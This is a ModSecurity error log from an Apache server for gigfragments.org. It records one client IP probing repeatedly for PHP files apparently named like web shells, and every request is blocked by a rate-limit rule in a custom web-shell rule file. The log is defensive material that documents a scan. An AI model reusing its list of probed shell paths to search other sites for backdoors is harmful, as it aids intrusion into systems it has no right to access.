[Fri May 08 23:39:29.367277 2026] [:error] [pid 34318:tid 34344] [client 13.74.146.113:16982] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clque.php"] [unique_id "af4Dscr3guirgJiKhzDzFAAAARg"]
[Fri May 08 23:39:29.899161 2026] [:error] [pid 61355:tid 61381] [client 13.74.146.113:7981] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clque.php"] [unique_id "af4DsfkhJTi30CBXmMnw9wAAAZQ"]
[Fri May 08 23:39:30.485607 2026] [:error] [pid 51009:tid 51085] [client 13.74.146.113:7939] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clque.php"] [unique_id "af4DsuB0GbUWhxgzX9VtdQAAAIk"]
[Fri May 08 23:39:31.010254 2026] [:error] [pid 61355:tid 61378] [client 13.74.146.113:8064] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clque.php"] [unique_id "af4Ds_khJTi30CBXmMnw-AAAAZE"]
[Fri May 08 23:39:31.523281 2026] [:error] [pid 61355:tid 61365] [client 13.74.146.113:4966] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-ver.php"] [unique_id "af4Ds_khJTi30CBXmMnw-QAAAYQ"]
[Fri May 08 23:39:32.070256 2026] [:error] [pid 61355:tid 61382] [client 13.74.146.113:16297] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-ver.php"] [unique_id "af4DtPkhJTi30CBXmMnw-wAAAZU"]
[Fri May 08 23:39:32.586445 2026] [:error] [pid 61356:tid 61395] [client 13.74.146.113:6474] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-ver.php"] [unique_id "af4DtIx3vpB8oWhUq2P5mQAAAcc"]
[Fri May 08 23:39:33.134579 2026] [:error] [pid 61356:tid 61402] [client 13.74.146.113:2442] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-ver.php"] [unique_id "af4DtYx3vpB8oWhUq2P5mwAAAc4"]
[Fri May 08 23:39:33.699825 2026] [:error] [pid 61356:tid 61391] [client 13.74.146.113:7983] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wert.php"] [unique_id "af4DtYx3vpB8oWhUq2P5nAAAAcM"]
[Fri May 08 23:39:34.217083 2026] [:error] [pid 61356:tid 61405] [client 13.74.146.113:4972] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wert.php"] [unique_id "af4Dtox3vpB8oWhUq2P5ngAAAdE"]
[Fri May 08 23:39:34.749653 2026] [:error] [pid 61356:tid 61411] [client 13.74.146.113:13002] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wert.php"] [unique_id "af4Dtox3vpB8oWhUq2P5oQAAAdc"]
[Fri May 08 23:39:35.293351 2026] [:error] [pid 61356:tid 61406] [client 13.74.146.113:1543] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wert.php"] [unique_id "af4Dt4x3vpB8oWhUq2P5owAAAdI"]
[Fri May 08 23:39:35.847326 2026] [:error] [pid 51113:tid 51137] [client 13.74.146.113:8083] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "af4Dt0Qfs7sWtqkpQIeNIAAAANY"]
[Fri May 08 23:39:36.368158 2026] [:error] [pid 51008:tid 51058] [client 13.74.146.113:8119] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "af4DuHB58C2Y1tgLtuLDDQAAAEk"]
[Fri May 08 23:39:36.906986 2026] [:error] [pid 51008:tid 51054] [client 13.74.146.113:3746] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "af4DuHB58C2Y1tgLtuLDDwAAAEU"]
[Fri May 08 23:39:37.422869 2026] [:error] [pid 51009:tid 51089] [client 13.74.146.113:14069] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "af4DueB0GbUWhxgzX9VtdgAAAI0"]
[Fri May 08 23:39:37.920850 2026] [:error] [pid 51113:tid 51117] [client 13.74.146.113:13067] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "af4DuUQfs7sWtqkpQIeNIQAAAMI"]
[Fri May 08 23:39:38.416825 2026] [:error] [pid 61317:tid 61336] [client 13.74.146.113:1585] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "af4Dus-fFk_CedOCOYvs4QAAAVA"]
[Fri May 08 23:39:38.940801 2026] [:error] [pid 51007:tid 51031] [client 13.74.146.113:13023] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "af4DulMagSGstWKyzzUIUwAAAAk"]
[Fri May 08 23:39:39.455231 2026] [:error] [pid 51008:tid 51069] [client 13.74.146.113:14058] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "af4Du3B58C2Y1tgLtuLDEQAAAFQ"]
[Fri May 08 23:39:39.987482 2026] [:error] [pid 61355:tid 61366] [client 13.74.146.113:9755] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xslclbn.php"] [unique_id "af4Du_khJTi30CBXmMnw_wAAAYU"]
[Fri May 08 23:39:40.501384 2026] [:error] [pid 34318:tid 34322] [client 13.74.146.113:7963] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xslclbn.php"] [unique_id "af4DvMr3guirgJiKhzDzHAAAAQI"]
[Fri May 08 23:39:40.997526 2026] [:error] [pid 61355:tid 61384] [client 13.74.146.113:9763] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xslclbn.php"] [unique_id "af4DvPkhJTi30CBXmMnxAAAAAZc"]
[Fri May 08 23:39:41.513161 2026] [:error] [pid 61355:tid 61383] [client 13.74.146.113:2483] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xslclbn.php"] [unique_id "af4DvfkhJTi30CBXmMnxAQAAAZY"]
[Fri May 08 23:39:42.050645 2026] [:error] [pid 61355:tid 61380] [client 13.74.146.113:6258] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/less.php"] [unique_id "af4DvvkhJTi30CBXmMnxAgAAAZM"]
[Fri May 08 23:39:42.564399 2026] [:error] [pid 61355:tid 61379] [client 13.74.146.113:9755] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/less.php"] [unique_id "af4DvvkhJTi30CBXmMnxBAAAAZI"]
[Fri May 08 23:39:42.936911 2026] [:error] [pid 34318:tid 34322] [client 13.74.146.113:7963] [client 13.74.146.113] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "128.201.168.154_ad0539f6e72d30957f610b8807a99e8f35df0475"): Internal error (specific information not available) [hostname "gigfragments.org"] [uri "/xslclbn.php"] [unique_id "af4DvMr3guirgJiKhzDzHAAAAQI"]
[Fri May 08 23:39:43.132435 2026] [:error] [pid 51009:tid 51097] [client 13.74.146.113:13034] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/less.php"] [unique_id "af4Dv-B0GbUWhxgzX9VtegAAAJU"]
[Fri May 08 23:39:43.650024 2026] [:error] [pid 61317:tid 61322] [client 13.74.146.113:14596] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/less.php"] [unique_id "af4Dv8-fFk_CedOCOYvs4wAAAUI"]
[Fri May 08 23:39:44.216439 2026] [:error] [pid 61355:tid 61365] [client 13.74.146.113:6256] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albrt.php"] [unique_id "af4DwPkhJTi30CBXmMnxBgAAAYQ"]
[Fri May 08 23:39:44.747934 2026] [:error] [pid 61355:tid 61382] [client 13.74.146.113:6482] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albrt.php"] [unique_id "af4DwPkhJTi30CBXmMnxBwAAAZU"]
[Fri May 08 23:39:45.323115 2026] [:error] [pid 51008:tid 51066] [client 13.74.146.113:1352] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albrt.php"] [unique_id "af4DwXB58C2Y1tgLtuLDFQAAAFE"]
[Fri May 08 23:39:45.879144 2026] [:error] [pid 51007:tid 51033] [client 13.74.146.113:4990] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albrt.php"] [unique_id "af4DwVMagSGstWKyzzUIVAAAAAs"]
[Fri May 08 23:39:46.452752 2026] [:error] [pid 51007:tid 51029] [client 13.74.146.113:2492] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tiny2.php"] [unique_id "af4DwlMagSGstWKyzzUIVQAAAAc"]
[Fri May 08 23:39:47.013577 2026] [:error] [pid 61317:tid 61324] [client 13.74.146.113:8100] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tiny2.php"] [unique_id "af4Dw8-fFk_CedOCOYvs5AAAAUQ"]
[Fri May 08 23:39:47.563737 2026] [:error] [pid 61355:tid 61380] [client 13.74.146.113:6679] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tiny2.php"] [unique_id "af4Dw_khJTi30CBXmMnxEAAAAZM"]
[Fri May 08 23:39:48.119553 2026] [:error] [pid 51007:tid 51040] [client 13.74.146.113:4853] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tiny2.php"] [unique_id "af4DxFMagSGstWKyzzUIVgAAABI"]
[Fri May 08 23:39:48.668316 2026] [:error] [pid 61355:tid 61364] [client 13.74.146.113:6464] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an8.php"] [unique_id "af4DxPkhJTi30CBXmMnxFgAAAYM"]
[Fri May 08 23:39:49.165442 2026] [:error] [pid 61317:tid 61339] [client 13.74.146.113:7972] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an8.php"] [unique_id "af4Dxc-fFk_CedOCOYvs5gAAAVM"]
[Fri May 08 23:39:49.661823 2026] [:error] [pid 61317:tid 61333] [client 13.74.146.113:17013] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an8.php"] [unique_id "af4Dxc-fFk_CedOCOYvs5wAAAU0"]
[Fri May 08 23:39:50.162565 2026] [:error] [pid 61355:tid 61371] [client 13.74.146.113:7962] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an8.php"] [unique_id "af4DxvkhJTi30CBXmMnxGQAAAYo"]
[Fri May 08 23:39:50.679551 2026] [:error] [pid 51113:tid 51126] [client 13.74.146.113:14024] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "af4DxkQfs7sWtqkpQIeNIgAAAMs"]
[Fri May 08 23:39:51.223007 2026] [:error] [pid 51113:tid 51129] [client 13.74.146.113:4818] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "af4Dx0Qfs7sWtqkpQIeNJAAAAM4"]
[Fri May 08 23:39:51.726264 2026] [:error] [pid 51007:tid 51045] [client 13.74.146.113:16270] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "af4Dx1MagSGstWKyzzUIVwAAABc"]
[Fri May 08 23:39:52.249665 2026] [:error] [pid 61355:tid 61378] [client 13.74.146.113:4833] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "af4DyPkhJTi30CBXmMnxGwAAAZE"]
[Fri May 08 23:39:52.765098 2026] [:error] [pid 34318:tid 34330] [client 13.74.146.113:13047] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq.php"] [unique_id "af4DyMr3guirgJiKhzDzLQAAAQo"]
[Fri May 08 23:39:53.303563 2026] [:error] [pid 61317:tid 61331] [client 13.74.146.113:16261] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq.php"] [unique_id "af4Dyc-fFk_CedOCOYvs6QAAAUs"]
[Fri May 08 23:39:53.859189 2026] [:error] [pid 61355:tid 61366] [client 13.74.146.113:13011] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq.php"] [unique_id "af4DyfkhJTi30CBXmMnxHwAAAYU"]
[Fri May 08 23:39:54.376075 2026] [:error] [pid 61355:tid 61383] [client 13.74.146.113:13040] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwq.php"] [unique_id "af4DyvkhJTi30CBXmMnxIAAAAZY"]
[Fri May 08 23:39:54.893055 2026] [:error] [pid 61355:tid 61373] [client 13.74.146.113:8076] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "af4DyvkhJTi30CBXmMnxJAAAAYw"]
[Fri May 08 23:39:55.442045 2026] [:error] [pid 61355:tid 61365] [client 13.74.146.113:13103] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "af4Dy_khJTi30CBXmMnxJQAAAYQ"]
[Fri May 08 23:39:55.940199 2026] [:error] [pid 61355:tid 61377] [client 13.74.146.113:8430] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "af4Dy_khJTi30CBXmMnxLwAAAZA"]
[Fri May 08 23:39:56.465553 2026] [:error] [pid 61317:tid 61342] [client 13.74.146.113:16648] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "af4DzM-fFk_CedOCOYvs7QAAAVY"]
[Fri May 08 23:39:56.985298 2026] [:error] [pid 61355:tid 61367] [client 13.74.146.113:4943] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55.php"] [unique_id "af4DzPkhJTi30CBXmMnxOwAAAYY"]
[Fri May 08 23:39:57.484893 2026] [:error] [pid 51009:tid 51092] [client 13.74.146.113:16304] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55.php"] [unique_id "af4DzeB0GbUWhxgzX9VtgwAAAJA"]
[Fri May 08 23:39:57.981882 2026] [:error] [pid 34318:tid 34335] [client 13.74.146.113:15321] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55.php"] [unique_id "af4Dzcr3guirgJiKhzDzPgAAAQ8"]
[Fri May 08 23:39:58.478150 2026] [:error] [pid 51008:tid 51065] [client 13.74.146.113:6250] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55.php"] [unique_id "af4DznB58C2Y1tgLtuLDGgAAAFA"]
